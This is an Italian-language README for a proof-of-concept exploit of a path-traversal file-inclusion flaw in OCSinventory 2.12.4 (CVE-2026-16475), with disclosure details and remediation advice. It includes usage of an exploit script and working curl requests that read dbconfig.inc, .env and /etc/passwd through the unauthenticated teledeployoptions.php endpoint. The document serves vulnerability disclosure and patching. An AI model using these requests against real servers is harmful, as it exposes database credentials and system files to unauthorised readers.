CVE-2026-16475 - PoC LFI OCSinventory

Vulnerabilità di Local File Inclusion in OCSinventory 2.12.4

Dettagli della vulnerabilità

CVE ID: CVE-2026-16475
Punteggio CVSS: 6.9 (Medio)
CWE: CWE-98 (Controllo improprio del nome file per l'istruzione Include/Require in un programma PHP)
Versione interessata: OCSinventory 2.12.4
Stato: Corretto nelle versioni più recenti

Descrizione

Una vulnerabilità di Local File Inclusion (LFI) esiste nell'endpoint /ajax/teledeployoptions.php a causa di una sanitizzazione impropria del parametro linkedoptions prima del suo utilizzo in un'operazione dinamica di inclusione di file XML.

L'endpoint è progettato per caricare file di configurazione XML ma non riesce a validare correttamente il parametro linkedoptions, consentendo attacchi di path traversal.

Un attaccante remoto non autenticato può sfruttare questa vulnerabilità per:

• Includere e accedere a file XML arbitrari all'interno della directory dell'applicazione
• Leggere file non-XML tramite i messaggi di errore del parser XML
• Divulgare informazioni sensibili sulle risorse interne dell'applicazione
• Enumerare i file di sistema ed eseguire il fingerprinting del sistema operativo

Impatto

• Riservatezza: ALTA - Accesso a file arbitrari (file di configurazione, codice sorgente, log, file di sistema)
• Integrità: NESSUNA
• Disponibilità: NESSUNA
• Autenticazione richiesta: NO
• Interazione utente: NO

Utilizzo

Prerequisiti

pip install -r requirements.txt

Versione Python (Consigliata)

python3 exploit.py -u http://target.com -v

Opzioni:

• -u, --url - URL del target (obbligatorio)
• -v, --verbose - Output verboso
• -o, --output - Salva le letture riuscite su file

Esempio:

python3 exploit.py -u http://ocs.example.com -v -o results.txt

Versione Bash

./lfi_test.sh

Modifica la variabile BASE_URL nello script:

BASE_URL="http://target.com/ajax/teledeployoptions.php"

Target enumerati

• File di configurazione dell'applicazione (dbconfig.inc, .env, config.inc)
• File di lavoro XML (bashscriptopt, executableopt, msiapplicationopt)
• Log di sistema (apache2, mysql, auth)
• File di sistema (/proc/, /etc/)
• Segreti dell'applicazione (composer, file di pacchetto, .htaccess)

Esempio di sfruttamento

# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

Rimedio

Per gli utenti:

• Aggiorna OCSinventory all'ultima versione immediatamente
• Implementa regole WAF per bloccare i pattern di directory traversal

Per gli sviluppatori:

• Utilizza basename() o funzioni simili per prevenire il path traversal
• Valida e sanitizza tutti gli input utente prima delle operazioni sui file
• Implementa controlli di accesso adeguati
• Utilizza allow-list per i percorsi file validi

Riferimenti

• Avviso INCIBE (ES) - Autorità ufficiale di coordinamento CVE
• OCS Inventory GitHub
• OWASP Path Traversal
• Definizione CWE-98

Nota: CVE-2026-16475 è coordinato tramite INCIBE e potrebbe non essere ancora indicizzato in NVD. Consulta la fonte INCIBE per informazioni autorevoli.

Note legali

Solo per scopi educativi e test autorizzati

Vedi DISCLAIMER.md per l'informativa legale completa.

Autore

Adrián Ferrer Tarí

Divulgazione responsabile coordinata tramite INCIBE